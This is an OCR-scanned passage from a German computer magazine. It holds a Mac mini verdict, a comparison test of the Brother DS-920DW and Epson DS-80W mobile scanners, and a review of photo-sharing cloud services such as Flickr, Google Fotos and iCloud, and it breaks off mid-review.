dows-Nutzer abzuwerben, ist mit dem ge-
stiegenen Preis abhandengekommen.
Auch als relativ einfacher Arbeitsplatz-
rechner ist der Mac mini Baujahr 2018
iiberteuert, erst recht nach notigen Up-
grades: Den Einstiegspreis von 900 Euro
flir den Vierkern-Mini zahlt nur, wer mit
der mickrigen 128-GByte-SSD auskommt
- mit zeitgemiflen 512 GByte kostet er
knapp 1400 Euro.

Im Apple-Kosmos verwurzelte Profis
werden die vielen Thunderbolt-Schnitt-
stellen und die damit verbundene Erwei-
terbarkeit, beispielsweise um eine eGPU,
zu schitzen wissen. Rechnet man die
noch obendrauf, kommen mindestens
weitere 500 Euro dazu - und dann fehlen
immer noch Maus, Tastatur und Monitor.
Schon wirkt ein iMac mit seinem sehr
guten 21-Zoll-Display, 4K-Auflosung und
ab dem Mittelmodell eingebauter Rade-
on-Grafik gar nicht mehr so teuer. Bei die-
sem All-in-One-Rechner steht eigentlich
auch mal wieder Modellpflege an, die
dann ebenfalls Sechskern-CPUs und
schnelle SSDs statt lahmer HDDs umfas-
sen diirfte. Wer nicht sofort einen neuen
Arbeits-Mac braucht, sollte also einfach
noch ein wenig abwarten. (bkr@ct.de) €€
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Scannen ohne Kabel

Mobile Einzugscanner fiir den Aktenkoffer

Akkubetriebene Dokumenten-
scanner digitalisieren Rechnungen,
Vertrdage und Akten unterwegs in
guter Qualitit und sind einfach
zu bedienen. Mit dem Notebook
kombiniert erhilt man einen
mobilen Biiroarbeitsplatz.

Per WLAN arbeiten sie mit
Smartphones zusammen oder
speichern Scans ohne Zusatz-
hardware auf einer SD-Karte.

Von Rudolf Opitz

raucht man schnell eine digitale Kopie

der Telefonrechnung, kann man sie
mit der Smartphone-Kamera abfotografie-
ren. Das erfordert aber eine ruhige Hand
und Geduld beim Einstellen des richtigen
Bildabstands. Die Qualitit ist je nach Be-
leuchtung und Kamera halbwegs brauch-
bar bis mies. Wer unterwegs 6fter mehr-
seitige Akten und Vertrége in guter Quali-
tat scannen muss, ist mit einem leichten
und mobilen Dokumentenscanner besser
bedient. Unsere beiden Testscanner
Brother DS-920DW und Epson WorkForce
DS-80W digitalisieren Vorlagen von der
Visitenkarte bis zum DIN-A4-Formular
ohne viel Gefummel und in guter, stets
gleichbleibender Qualitit.

Beide Mobilscanner passen dank
ihrer kompakten Riegelform zusammen
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mit dem Notebook in eine Aktentasche.
Sie verarbeiten wie alle Einzugscanner nur
Einzelblitter; auf einen Einzug fiir meh-
rere Vorlagen muss man verzichten. Das
leichtere und kleinere Epson-Modell - es
ist nur 6 Zentimeter breiter als ein A4-
Blatt - kann mit einem Scanvorgang nur
die Vorderseite der Vorlage scannen, das
Brother-Gerit hat zwei Scanzeilen und
digitalisiert Vorder- und Riickseite auf
Waunsch in einem Rutsch.

Mobil und autonom
Dank eigenen Akkus und WLAN konnen
beide Testkandidaten kabellos arbeiten.
Der Brother DS-920DW hat einen einfach
wechselbaren 1700-mAh-Lithium-Ionen-
Akku, der 1140-mAh-Akku des Epson DS-
80W ist fest eingebaut und ohne Schrau-
bendreher nicht austauschbar. Mit gela-
denem Akku scannen beide mindestens
100 Seiten, bevor sie ans Ladegerit mis-
sen. Die Energie dazu beziehen beide
iber die USB-Schnittstelle, daher liegen
auch nur USB-auf-Micro-USB-Kabel bei.
Als Stromquelle eignet sich jedes USB-
Ladegerit oder ein PC. Da sie sich mit fiir
USB 2.0 iiblichen 0,5 Ampere begniigen,
brauchen sie 3,5 (Epson) bis 4 Stunden
(Brother) fiir eine Komplettladung.
Beide Scanner lassen sich mit abge-
schaltetem WLAN via USB direkt am
Notebook betreiben, was die Laufzeit
stark erhoht. Im WLAN-Betrieb integrie-
ren sich beide in ein vorhandenes WLAN
(Infrastruktur-Modus) oder spannen ein

Funknetz mit eigener SSID auf (Access-
Point-Modus). Letzteres ist praktisch fiir
den Kabellosbetrieb unterwegs und fiir die
Verbindung zum Smartphone.

Der Epson DS-80W braucht zum
Arbeiten die Verbindung entweder zum
Notebook mit Scannertreiber und Anwen-
dung oder zu einem Smartphone mit der
Android- oder iOS-App Epson Docu-
mentScan. Der Brother-Scanner hat einen
SD-Slot - unserem Testgerit lag eine 8-
GByte-MicroSD-Karte inklusive SD-Adap-
ter bei. Mit eingesteckter Speicherkarte ar-
beitet er, anders als das Epson-Gerit, auch
vollig autonom. Allerdings lassen sich tiber
das kleine LC-Display des Scanners nur
die Auflésungen 300 und 600 dpi, die
Scan-Modi Farbe oder Schwarzweif3, ein-
seitig oder doppelseitig sowie die Datei-
formate JPEG und PDF auswahlen.

Funkbilder

Nach dem ersten Aktivieren der WLAN-
Funktion arbeitet der Scanner von Bro-
ther als Access Point mit eigener SSID.
Koppelt man damit ein Smartphone -das
Passwort steht auf dem Etikett unter dem
Scanner -, kann man mithilfe der App Avi-
sion MiWand auf den Speicher, aber nicht
auf die Scan-Funktionen zugreifen. Inso-
fern gleicht der DS-920DW dem MiWand
von Avision [1]. Uber das einfache Web-
Frontend, das Zugriff auf die Speicherkar-
te und WLAN-Einstellungen bietet, ldsst
sich der Scanner auch in ein vorhandenes
WLAN integrieren. Auch dann wird nur
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der Zugriff auf die eingesteckte SD-Karte
freigegeben.

Um den Scanner direkt vom PC aus zu
steuern, muss man WLAN deaktivieren
und den Scanner in den PC-Modus schal-
ten. Per USB-Kabel lisst er sich so vom PC
aus wie ein normaler Scanner per Twain-
Modul oder mit dem Scanprogramm
»Button Manager 2.0“ steuern. Letzteres
stammt ebenfalls von Avision. Via WLAN
kann auch ein PC nur auf die auf der SD-
Karte gespeicherten Scans zugreifen.

Der Epson DS-80W hat dagegen kei-
nen eigenen Speicher und stellt per Funk
alle Scanner-Funktionen einem PC oder
der Smartphone-App Epson Document-
Scan zur Verfiigung. Um den Scanner mit
dem lokalen WLAN zu verbinden, nutzt
man die WPS-Taste am Router. Ohne
WPS muss man den Scanner zum Einrich-
ten per USB mit dem PC verbinden und
dem Setup-Programm die notigen Daten
mitteilen. Danach wird der DS-80W vom
Treiber im Netzwerk erkannt; das USB-
Kabel braucht man nur noch zum Laden
des Akkus. Ein eigenes Web-Frontend hat
der Epson-Scanner nicht.

Scannen

Aufler dem Programm ,,Epson Scan 2,
das auch als Twain-Modul nutzbar ist, lie-
fert Epson die méachtige Software ,,Docu-
ment Capture Pro“ mit, die auch teureren
Profi-Scannern beiliegt. Mit ihr legt man
Scan-Profile an und verkniipft sie mit den
Profil-Tasten von Scannern. Sie enthalten
alle Einstellungen inklusive Filtern, dop-
pelter Bildausgabe und einer OCR sowie
Zielvorgaben wie Mailadressen, Share-
Point und andere Cloud-Speicher. Beim
DS-80W funktionierte im Test die Ver-
kniipfung mit der Scan-Taste nicht, was
aber nicht weiter stort, da man sowieso
jedes Blatt einzeln einfithren muss.

Das Einfiihren der Vorlage erfasst ein
Sensor, worauf beide Scanner einen Trans-
portimpuls produzieren, der das Blatt im
Scanner festhalt. Dieser Vorgang kann auf
Waunsch bei beiden gleich den Scanvorgang
auslosen, was einen zusitzlichen Klick
oder das Betitigen der Scan-Taste erspart.

Brother steuert zum DS-920DW ein
einfaches Twain-Modul ohne Filter bei.
Der Avision Button Manager ist deutlich
flexibler und stellt gute Voreinstellungen
fiir Dokumente und Fotos bereit. Durch-
suchbare PDFs kennt die Scan-Software
nicht. Dazu liegt die einfache Dokumen-
tenverwaltung Nuance PaperPort 12 SE
bei, die eine fiir normalgroflen Text
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brauchbare OCR enthilt. Die Texterken-
nung der Epson-Software kam mit kleinen
Schriften wesentlich besser zurecht, er-
kannte aber keine Initiale. Bei den zu
dunklen und griinstichigen 600-dpi-Fo-
toscans des Brother-Modells waren feine
Details nicht zu erkennen, der Epson-
Scanner erzeugte hier wesentlich detail-
liertere Scans. Einen Griinstich sahen wir
allerdings auch beim DS-80W.

Einzugsscanner eignen sich gut zum
Digitalisieren von Visitenkarten. Brother
liefert dazu Presto BizCard 6 mit, die er-
kannte Visitenkarten in eine Kontaktda-
tenbank einpflegt. Doch taugt die Soft-
ware wegen einer miesen Texterkennung
wenig - ohne Fehler wurde im Test keine
Karte erkannt. Epson legt dem DS-80W
keine Visitenkarten-Software bei.

Dokumentenscanner

Mobile Dokumentenscanner | Test

Fazit
Wer einen Scanner fiir sein mobiles Biiro
sucht, bekommt mit dem Epson WorkFor-
ce DS-80W ein kleines und leichtes Gerit
mit guter Scansoftware. Auf eine zweite
Scanzeile fiir Duplex-Scans muss man bei
dem Mobilscanner allerdings verzichten.
Der doppelt so schwere Brother DS-
920DW ist am PC nur tiber ein USB-Kabel
einsetzbar, punktet aber mit seinem auto-
nomen Betrieb: Er braucht zum Scannen
weder Notebook noch Smartphone - prak-
tisch fiir einen schnellen Besuch im Ar-
chiv. (rop@ct.de) c&
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[Model | DSDS920-DW WorkForce DS-80W

Hersteller Brother, www.brother.de
Scantechnik Dual-CIS, LED
maximale optische Aufldsung 600 dpi

Scanbereich maximal / minimal
Vorlagengewicht" 60 g/m? ... 105 g/m?, Plastikkarten
Duplex-Scan v

v/ auf SD-Karte

Avision MiWand (Android, i0S)

nur iiber PC-Software

autonomes Scannen
Mobil-App
Scannen an Cloud

Funktionstasten Power, Menii, Scan, Mode (Farbe/Mono), Aufldsung,
Simplex/Duplex
Display monochromes LCD

Schnittstelle

Abmess.! (B X T X H) / Gewicht
Stromversorgung / Ladezeit!
Lieferumfang

Putztuch, Kurzanleitung, CD

216 mm X 813 mm / 40 mm X 40 mm

USB 2.0 (Micro-USB), WLAN 802.11n (2,4 GHz)
31c¢m X 6,7 cm x 4,1 cm /600 g
Li-lonen-Akku 1700 mAh, 3,7V /4 h

USB-Kabel, 8-GByte-microSD mit SD-Adapter,
Akku, Stoffhiille, Vorlagentasche, Kalibriervorlage,

Epson, www.epson.de

CIS, RGB-LED

600 dpi

216 mm X 1828 mm / 51 mm X 51 mm
35 g/m? ... 270 g/m?

Epson DocumentScan (Android, i0S)
nur iiber PC-Software oder App
Power, Scan, WPS-Taste

LED-Symbolleiste

USB 2.0 (Micro-USB), WLAN 802.11n (2,4 GHz)
27cmx 4,7cmx 3,4cm /297 g
Li-lonen-Akku 1140 mAh, 3,6V /3,5 h

USB-Kabel, Kalibriervorlage, Reinigungsblatt,
Kurzanleitung, CD

[, R

Treiber fiir
TWAIN /WIA /1SIS
Software Windows

Windows ab XP; ab mac0S 10.6
vVi-1-

PaperPort 12 SE, Presto! BizCard 6
PDF, JPEG, TIFF, BMP, GIF, PNG
SW, 256 Graustufen, 24 Bit Farbe

Ausgabeformate Scansoftware
Scanmodi
Einstellungen / Filter

-V
300 dpi: 15 s, 600 dpi: 26 s

Blindfarbe / Schwellen-Regler
Scanzeiten

DSmobile Capture, Avision Button Manager 2.0,

Helligkeit, Kontrast, Gamma, Schatten, Hervorhebung

Windows ab XP SP3, Server 2003, macOS ab 10.6.8
V[V (nurUSB) /—
Document Capture Pro, Epson Scan 2, Event Manager

PDF, JPEG, TIFF, BMP, PNG, DOCX, XLSX, PPTX
SW, 256 Graustufen, 24 Bit Farbe

Helligkeit, Kontrast, Gamma, Entrastern, Farb-/Text-
optimierung, Hintergrund entf., Lochung entf., Leer-
seite entf. Drehen, Schrégkorrektur, unscharfe Maske

VIV
300 dpi: 6 s, 600 dpi: 16 s (USB: 11 5)

oo

Mobilitét / Bedienung ®/0
Scanqualitdt Text / Grafik /Foto @/ ® /GO
Texterkennung (OCR) O
Herstellergarantie
Preis (UVP, Strae)
! Herstellerangabe
@@ sehr gut

3 Jahre Carry-in
250 €,215 €
® gut

O wufriedenstellend @© schlecht

D/®

D/®/O

@

2 Jahre Carry-in

225 €,180 €

— nicht vorhanden

©O sehr schlecht  +/ vorhanden
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Test | Foto-Sharing

Fotos wollen geteilt werden, und
das geht am besten iibers Web.
\ Die Cloud-Angebote dazu sind
vielfiltig: Einige eignen sich zum
Aufbau einer Community von
Followern, andere zum Teilen
von Fotoalben im kleinen Kreis.
Erfolgreiche Prasentation beginnt
mit der Auswahl des passenden
Diensts.

Von André Kramer

er Branchenverband Bitkom schitzt,

dass 2017 etwa 1,2 Billionen Fotos ge-
schossen wurden - Tendenz steigend. Ein
Grofdteil dieser Bilder landet auf dem
einen oder anderen Weg in der Cloud.
Praktische Hilfsmittel sind der Sofort-
Upload vom Mobilgerit oder iberwachte
Ordner auf dem Mac oder Windows-PC,
deren Inhalt mit der Cloud synchronisiert
wird. Einmal in der Cloud, lassen sich
Fotos zu Alben zusammenfassen und via
Web-Link weitergeben.

Plattformen wie 500px und Insta-
gram haben kein Fotoarchiv - hier ver6f-
fentlicht man einzelne Fotos bei Bedarf.
Jeder Nutzer baut sich einen Stamm Fol-
lower auf und folgt anderen interessanten
Profilen. Uber 500px kann man seine
Fotos aufSerdem verkaufen; Instagram hat
sich neben der Mehrzahl privater Nutzer
als Plattform fiirs Influencer-Marketing
etabliert. Flickr gehort ebenfalls zu den
Community-getriebenen Diensten, wirbt
aber auch mit Cloud-Speicher und ange-
schlossener Bildverwaltung.

Zum Cloud-Konto kommt man in der
Regel ohne weiteres Zutun. iPhone-Besit-
zer landen in Apples iCloud, die mit An-
droid bei Google. Wer mit Lightroom
arbeitet, steht schon mit einem Fuf3 in der
Adobe-Cloud. Nutzer von Dropbox oder
OneDrive konnen die Dienste aufder zum
Austausch von Dokumenten auch fiirs
Foto-Sharing nutzen. Die Beispiele zeigen:

° o Die Anforderungen der Anwender und die

U I n d I e C I o u d Dienste der Cloud-Anbieter sind vielfaltig.
Im Test sind populére Dienste fiir alle

erdenklichen Nutzerszenarien vertreten:

500px, Dropbox, Flickr, GMX sowie

Bild: Albert Hulm

Neun Online-Dienste, um Fotos Web.de, Google Fotos, Apple iCloud, Ins-
e o . tagram, Lightroom und OneDrive. Die
un kO mp I 1zlert zu tel I en Auswahl der Testkandidaten reprisentiert

einen Querschnitt verschiedener Arten
von Diensten.
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Upload: Was und wie viel

Es klingt zunéchst reizvoll, das gesamte
Fotoarchiv in die Cloud zu laden - prak-
tisch ist das nicht. Man wére zu abhingig
von der Infrastruktur, allen voran einer
stabilen Internetverbindung und dem
Fortbestehen des Dienstes. Fotos sind au-
erdem Privatangelegenheit. Man sollte
nicht alle einem Internetkonzern anver-
trauen, sondern nur die, die man wirklich
mit anderen teilen mochte. Schliefflich
wiirde der notige Cloud-Speicher auch
hohe Kosten verursachen. Ausreichend
Speicherplatz fiir circa 10.000 Fotos
kostet in der Regel zehn Euro monatlich.

Lightroom CC ist ausschliefdlich kos-
tenpflichtig zu haben. Instagram ist kos-
tenlos und werbefinanziert. Alle anderen
Dienste unterliegen gewissen Beschrin-
kungen. Bei 500px sind das maximal
sieben Fotos pro Woche. Flickr gehort seit
Kurzem nicht mehr zu Yahoo, sondern zu
SmugMug. Der neue Besitzer hat die
Grenze von 1000 Fotos eingefiihrt - bei
Yahoo gab es ein Terabyte kostenlos.
Dropbox, GMX und Web.de, Google
Fotos, Apple iCloud und Microsoft One-
Drive unterliegen Volumenbeschrin-
kungen, die sich im Laufe der Zeit immer
wieder dndern.

Die Cloud-Dienste eignen sich via
Sofort-Upload zum komfortablen Backup
von Handyfotos, das man in gewissen Ab-
stinden auf die Festplatte tiberfithren
muss. Fotos einer Reise oder einer Feier
wird man in einem Rutsch hochladen wol-
len, um sie zeitnah nach dem Event mit
den anderen Teilnehmern zu teilen. Beson-
ders komfortabel geht das mit tiberwach-
ten Ordnern bei Dropbox, GMX und
Web.de, mit dem Apple iCloud Drive sowie
bei Microsoft OneDrive. Man ladt einfach
alle Fotos in einem Ordner ab, der mit der
Cloud synchronisiert wird. Bei Dropbox
und GMX/Web.de sind Ordner und Alben
praktisch dasselbe. Bei Apple und Micro-
soft muss man den Inhalt eines Ordners
manuell in ein Album iiberfiihren.

Flickr bietet fiir Windows den Up-
loadr an, der allerdings im Test nicht funk-
tionierte. Er zeigt noch das Yahoo-Logo
und verweigert die Anmeldung mit der
Yahoo-ID. Uber das Web-Frontend funk-
tioniert der Upload allerdings wie gehabt.

Bearbeiten und
veroffentlichen
Einige Dienste bieten in der App oder im
Browser Bildbearbeitungsfunktionen an.
Die Apps Apple Fotos und Google Fotos
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Diashow kreativ: Adobe Lightroom CC zeigt nicht einfach nur ein Bild nach dem
anderen an, sondern bindet immer wieder Collagen mit gruppierten Fotos ein.

enthalten jeweils eine Reihe Fotofilter
und detaillierte Funktionen zur Einstel-
lung von Licht und Farbe sowie fiir Aus-
richtung und Bildausschnitt. Mit Light-
room CC steht professionelle Raw-Ent-
wicklung von Adobe im Browser sowie als
App zur Verfiigung. Instagram setzt auf
die typischen hauseigenen Looks, bietet
aber auch ein umfangreiches Regler-Set
fiir Licht und Farbe. Bei Flickr kann man

eine Online-Bildbearbeitung im Browser
aufrufen und in der App Foto-Looks an-
wenden.

Das fertige Album gibt man in der
Regel iiber einen Web-Link weiter, der
nicht ohne Weiteres zu erraten ist - dies
ist bei den Alben von Dropbox, Flickr,
Google Fotos, Lightroom und Microsoft
OneDrive der Fall. Damit ist der Sicher-
heit im einfachsten Fall Geniige getan.

Die Fotos eines Albums moéchte man unter Umstdnden zum
Download anbieten - praktisch, wenn die Seite sie in einem
ZIP-Archiv zusammenfasst wie Microsoft OneDrive.
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Medieval View

500px

Der Fotodienst 500px fragt nach der
Registrierung, ob man sich fir Archi-
tektur oder Portrats, Natur oder Stadt
interessiert, und zeigt daraufhin pas-
sende Fotos an, die man mit ,gefallt
mir” markieren sowie kommentieren
und deren Urhebern man folgen kann.
Aufgrund der Aktivitat wird das Profil
weiter gescharft. Die App sieht Insta-
gram zum Verwechseln dhnlich mit
dem Unterschied, dass 500px Aufnah-
medaten wie Blende, Belichtungszeit
und ISO-Wert anzeigt. Die Browser-
Ansicht erinnert eher an Flickr.

Nach Upload eines Fotos fordert
die App auf, Stichworter zu vergeben.
Anhand des Bildinhalts schlagt sie be-
reits eine Reihe englischsprachiger
Begriffe vor, von denen die meisten in
der Regel zutreffen. Die Stichworter
sollen helfen, gefunden zu werden,
denn bei 500px geht es auch darum,
Bilder zu verkaufen. So kann man in
seinem Profil Kontaktmaoglichkeiten
Uber Facebook, Instagram und Twitter
hinterlassen, Dienstleistungen anbie-
ten, Stunden- sowie Tagessatze ange-
ben, Uber die Verfligbarkeit tagstber
und abends an Werktagen und Wo-
chenenden informieren.

Fir den Upload setzt 500px min-
destens 3 Megapixel voraus - mit dem
Ziel, die Fotos zu verkaufen. Nach der
Ubernahme des Unternehmens durch
die Visual China Group wurde der
.Marketplace” geschlossen. Bilder
werden jetzt Gber Getty Images bezie-
hungsweise in China tber die Visual
China Group vertrieben. Uber die Part-
nerschaft mit Getty Images finden die
Fotos ihren Weg nach Adobe Stock.
Von den Verkaufen erhalt der Fotograf
30 Prozent. Die Preise hangen von den
Distributoren ab.

Dropbox

Foto-Sharing ist nicht die einzige Auf-
gabe der Dropbox, aber der Dienst hat
einige Vorzlge, die ihn daflr prades-
tinieren. Kostenloser Speicherplatz
gehort nicht dazu. Wer die Dropbox
schon langer nutzt, hat eventuell
7 GByte. Bei Anmeldung erhélt man
2 GByte, die man flr 9,99 Euro monat-
lich auf 1 TByte erweitern kann.

Einer der Vorziige ist die Kamera-
Upload-Funktion. Fotos und Videos vom
Smartphone landen auf Wunsch auto-
matisch in der Dropbox und wandern
von dort auf die Festplatte des Desktop-
Rechners - eine komfortable Sache. Das
geht zwar auch mit Apple und Google,
ist bei Dropbox aber unabhéngig vom
Hersteller des Betriebssystems.

Uber das Kontextmenii kann man
Ordner und deren Inhalt freigeben. Der
Empfanger bekommt einen Link und
kann den Inhalt in seine eigene Dropbox
Ubertragen, wobei der Kontoinhaber die
Kontrolle Giber die Dateien behalt.

Ohne Dropbox-Konto kann man
die Dateien im Browser aufrufen. Mitte
2017 hat Dropbox die Fotodarstellung
geandert. Die zuvor etwas sperrigen
Web-Galerien hat das Unternehmen
zugunsten einer einheitlichen Datei-
ansicht aufgegeben. Sie zeigt groBzi-
gige Vorschaubilder mit Dateinamen
und erlaubt den Download des gesam-
ten Archivs als ZIP-Datei.

Fotos lassen sich dort in einer Voll-
bild-Diashow betrachten. Anders als
bei den meisten anderen Diensten
kann man bei der Dropbox-Galerie in
der Browser-Ansicht auf dem PC bis
auf volle Auflésung hineinzoomen. Die
Mobil-Seite erlaubt das leider nicht. Die
Schlichtheit und Pragmatik der Drop-
box-Seite hat einen eigenen Charme -
nicht hiibsch, aber praktisch.

Flickr

Lange war Flickr Teil der Yahoo-Familie,
seit April 2018 gehért der Dienst der
Firma SmugMug, die unter diesem
Namen in den USA ebenfalls eine Fo-
toplattform anbietet. Noch wirbt Flickr
zwar mit dem Versprechen von einem
TByte kostenlosen Datenvolumens, ab
8. Januar 2019 ist es damit aber vorbei.
Nutzer mit mehr als 1000 Fotos kon-
nen dann keine neuen Fotos mehr
hochladen und werden zum Download
ihrer Fotos aufgefordert. Ab 5. Februar
will SmugMug pro Konto die neuesten
Fotos l6schen, bis das Limit von 1000
Fotos erreicht ist. Unlimitierten Zugang
gibts flr 49,99 US-Dollar pro Jahr.

Der Rest hat sich kaum geéandert.
Der seit Jahren unveranderte Organizer
ist mit seinen mickrigen Menis und
seiner uneinheitlichen Oberflache ein
Beispiel schlechter Benutzerfiihrung.
Immerhin bietet er eine Here-Karte fir
unkompliziertes Geotagging per Drag &
Drop. AuBerdem kann man seine Fotos
Uber Checkboxen mit Creative-Com-
mons-Lizenzen ausstatten.

Nutzerseiten sind tGber www.flickr.
com/profile/[nutzername] erreichbar
und prasentiert sich zeitgemas, schick
und aufgeraumt. Fotos zeigt Flickr in
einem chronologischen Photostream
oder sortiert nach Alben. Statistiken in-
formieren lber Besucher, Fotos ande-
rer Nutzern kann man als Favoriten, in
Galerien oder in Gruppen verwalten.
Relativ neu ist die Ansicht ,Camera
Roll”, die Fotos wie unter iOS nach
Datum gruppiert.

Alben gibt man Uber einen Web-
Link frei, den man sich ebenso leicht
merken kann wie die URL der Profilseite.
Die Galerieansicht raumt den Fotos ma-
ximal viel Platz ein. Metadaten zeigt sie
unaufdringlich nur in der Detailansicht.

rege Community
Verkaufsmoglichkeit fiir Fotos

Ansicht in voller Auflésung
© biiromaBige Anmutung

ansprechende Darstellung
© ploétzlich kostenpflichtig
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Lernen Sie die Grundlagen von Machine Learning-Metho-
den und neuronalen Netzen kennen, verschaffen Sie sich
einen Uberblick iiber die wichtigsten Open-Source-Frame-
works und erkennen Sie das Potenzial von ML fir eigene
Projekte. AuBerdem: die wichtigsten juristischen und
ethischen Fragen zum Thema.

Auch als Download erhaltlich.

shop.heise.de/ix-ml

CONTAINER UN
VlRTUALISIERUNG

Zusatzmag, rial

iX kompakt - Container und Virtualisierung .
auf Dyp

Alles Wissenswerte tiber Grundlagen der Container-
Abschottung, Virtualisierung in der Industrie,
Migration in die Cloud uvm. Mit Tutorial fiir
Kubernetes-Administratoren und Beispielcode

auf DVD.

Auch als Download erhaltlich.
shop.heise.de/ix-container

iX kompakt 2018

Mit Machine Learning, JavaScript, Python und den Standards
C++17 & C++20 greift das Special vier aktuelle Trends in
der Softwareentwicklung auf - lernen Sie sie mithilfe der
iX-Experten zu meistern!

Auch als Download erhéltlich.

shop.heise.de/ix-trends
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GMX/Web.de

Die Web-Mailer GMX und Web.de
gehoren zu 1&1 - angeschlossen ist
jeweils ein Cloud-Speicher. Bis auf
wenige kosmetische Unterschiede
gleichen sich die Angebote. 1&1 wirbt
mit deutschen Rechenzentren. Nutzer
missen demnach nicht befiirchten,
dass ihre Fotos auf einem Server in
den USA landen, wo seit dem Patriot
Act deutlich laxere Datenschutzbedin-
gungen herrschen.

Mit einem existierenden E-Mail-
Konto von GMX oder Web.de hat
man Zugriff auf den Online-Speicher.
Kunden beider Dienste starten mit
2 GByte kostenlosem Speicher. Bei
Installation der Mail-App und dem
ersten Upload ins GMX MediaCenter
beziehungsweise den Web.de Online-
Speicher erweitert 1&1 das Volumen
um 2 GByte. Bei Installation von Cloud-
App und Windows-App kommen wie-
derum jeweils 2 GByte hinzu.

Im Online-Bereich kann man
neben Fotos auch E-Mail-Anhange, Vi-
deos, Musik und Dokumente spei-
chern. Dementsprechend verspriht
er den sproden Charme eines Datei-
managers. Videos streamen die 1&1-
Apps nicht selbst. Die Foto-Darstel-
lung ist hakelig. Weitergabe an Mes-
senger-Apps und Ahnliches funktio-
niert zwar, es ist aber nicht leicht, das
eingeblendete Kontextmeni unter
Android zu erwischen, bevor es wie-
der verschwindet.

Alben teilt man tGber Web-Links.
Man kann Nutzern erlauben, Dateien
zu dndern, oder sie nur zu Betrachtern
machen. Die Freigabe hat auf Wunsch
eine Laufzeit von einer Woche, einem
Monat oder einem Jahr. AuBerdem
kann man ein Kennwort festlegen, das
in einer separaten Mail versandt wird.

Google Fotos

Die Verknlpfung von Google Fotos mit
dem Google-Konto hat fiir Android-
Nutzer den Vorteil, sich keine Gedan-
ken Uber die Einrichtung machen zu
mussen. Die App ist eh vorinstalliert.
Ein Knopfdruck reicht und alle Foto
sowie Videos werden automatisch in
der Cloud gesichert. Kampfansage an
Flickr & Co.: Fotos bis 16 Megapixel
sichert Google Fotos in unbegrenzter
Zahl als JPEG-Foto, allerdings nicht in
Form der Originaldatei, sondern relativ
stark komprimiert. Hochauflésende
Raw-Dateien muss man im Google
Drive speichern. Vielen Bestandskun-
den stehen dort 15 GByte zur Verfi-
gung. Das Volumen kann aber variie-
ren. Nutzer eines Google Pixel erhalten
unbegrenzten Speicherplatz.

Medien zeigt Google in chronolo-
gischer Reihung oder nach Alben sor-
tiert. AuBerdem steht eine machtige Kl
zur Verfligung. Die Gesichtserkennung
arbeitet nahezu vollautomatisch und
fasst Fotos von Personen zusammen.

Anhand von Inhalt und Geotags
gruppiert Google die Aufnahmen von
Staaten und Stadten. AuBerdem kann
man nach Begriffen suchen, die die
Kl-Bildanalyse vergeben hat. Google
Fotos erstellt automatisch Collagen
und Animationen. AuBerdem ist ein
Dienst angeschlossen, tGber den man
zUligig Fotoblicher gestalten und be-
stellen kann.

Alben kann man manuell erstellen
oder sich nach einer Reise oder einer
Feier automatisch vorschlagen lassen.
Man teilt sie Gber Web-Links, die sich
direkt via E-Mail oder lber Facebook
respektive Twitter weitergeben lassen.
Die Fotos zeigt Google schnorkellos,
dezent animiert und aufgerdumt vor
weiem Hintergrund.

<] *‘:\ |

iCloud

Die iCloud ist Apples Antwort auf Goo-
gle Fotos. Es ist moglich, wenn auch
nicht unbedingt ratsam, alle Fotos in-
klusive Raw-Dateien in der iCloud-Foto-
mediathek zu speichern. Dann sind sie
Uber alle Apple-Gerate des Nutzers syn-
chronisiert. Allerdings ist das nicht
ganz billig, denn kostenlos gibts ledig-
lich 5 GByte. 50 GByte kosten bereits
knapp einen Euro monatlich. Dann geht
es gestaffelt weiter. Fiir 2 TByte ver-
langt Apple knapp 10 Euro pro Monat.

Die Fotos-App unterscheidet zwi-
schen ,Fotos”, einer chronologischen
Auflistung, ,Geteilt”, einer Ansicht der
Fotostreams, und ,Alben”. Dort kann
man auf Geotagging, Gesichtserken-
nung und lokale Ordner wie ,Bild-
schirmfotos” zugreifen.

Die Freigabe-Optionen sind etwas
unulbersichtlich. Eine Art Durchlauf-
erhitzer ist der Fotostream. Hiertiber
|adt die Fotos-App bis zu 1000 Fotos
und Videos von iPad, iPhone oder Mac
in die Cloud und hélt sie bis zu 30 Tage
vor. Bei mehr als 1000 Fotos wird auto-
matisch das éalteste geldscht. Der Foto-
stream lauft unabhangig vom Cloud-
Speicher; die kostenlosen 5 GByte
bleiben hiervon also unbertihrt.

Die iCloud-Fotofreigabe ist dafur
da, Fotos und Videos mit anderen zu
teilen. Unabhdngig von den Alben
erzeugt Apple Fotos einen Stream, von
denen man bis zu 100 mit jeweils 5000
Fotos anlegen kann. Diese Streams
kénnen Apple-Nutzer untereinander
abonnieren. Einen Stream kann man
als Webseite weitergeben. So lasst er
sich auch ohne Apple-ID auf einem be-
liebigen Gerat im Browser betrachten.
Die Fotos zeigt Apple groB3flachig als
Ubersichtsseite oder zligig animiert als
Diashow an.

© detaillierte Zugriffskontrolle
© unmoderne Darstellung

© ansprechende Darstellung
© machtige Kl-Funktionen

© hochwertiges Design
© uniibersichtliche Freigabe
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Instagram

Nattrlich kann man Fotos auch lber
Facebook teilen, dessen Tochter Ins-
tagram ist darauf aber spezialisiert. Die
App hat das quadratische Format der
Kodak Instamatic aus den 60er-Jahren
wieder populdr gemacht. Seit 2015
zeigt Instagram Bilder in 1080 x 1080
Pixeln an. Im Hochformat (9:16) kann
man mittlerweile maximal 1080 x 1920
Pixel darstellen. Im Landschaftsformat
erscheinen die Bilder entsprechend
kleiner.

Instagram baut auf Follower. An-
ders als bei Facebook ist das Prinzip
asymmetrisch: Man kann jemandem
folgen, ohne gefolgt zu werden. Profile
kénnen offentlich oder privat sein -
das entscheidet der Nutzer. Einzelne
Fotos kann man aber nicht als privat
kennzeichnen.

Geteilte Fotos erscheinen in der
Timeline der dem Urheber folgenden
Nutzer. Hashtags kénnen die Reich-
weite Uber den personlichen Follower-
Stamm erweitern, was bei den Ram-
pensduen unter den Instagrammern zu
Wildwuchs nichtssagender Hashtags
wie #instagood und #pictureoftheday
fihrt. Alben unterstltzt Instagram
nicht. Feedback gibt man UGber Likes
und Kommentare. Eine relativ neue
Spielart sind Stories, Uber die man
Fotos und Videos temporéar teilen kann.
Das verfuhrt Betrachter zum regel-
maBigen Durchzappen neuer Stories.
Statt mit Likes und Kommentaren
nimmt man hier Uber personliche
Nachrichten Kontakt auf. Videos bindet
die Boomerang-App als Loops ein.

Der Name ist Programm: Insta-
gram lebt ganz im Moment. So kann
man ideal taglich ein Bild absondern;
fir ein gelegentliches groBes Album
eignet sich die App nicht.

Lightroom

Adobe hat seine Foto-Cloud seit dem Er-
scheinen des neuen Lightroom CC Ende
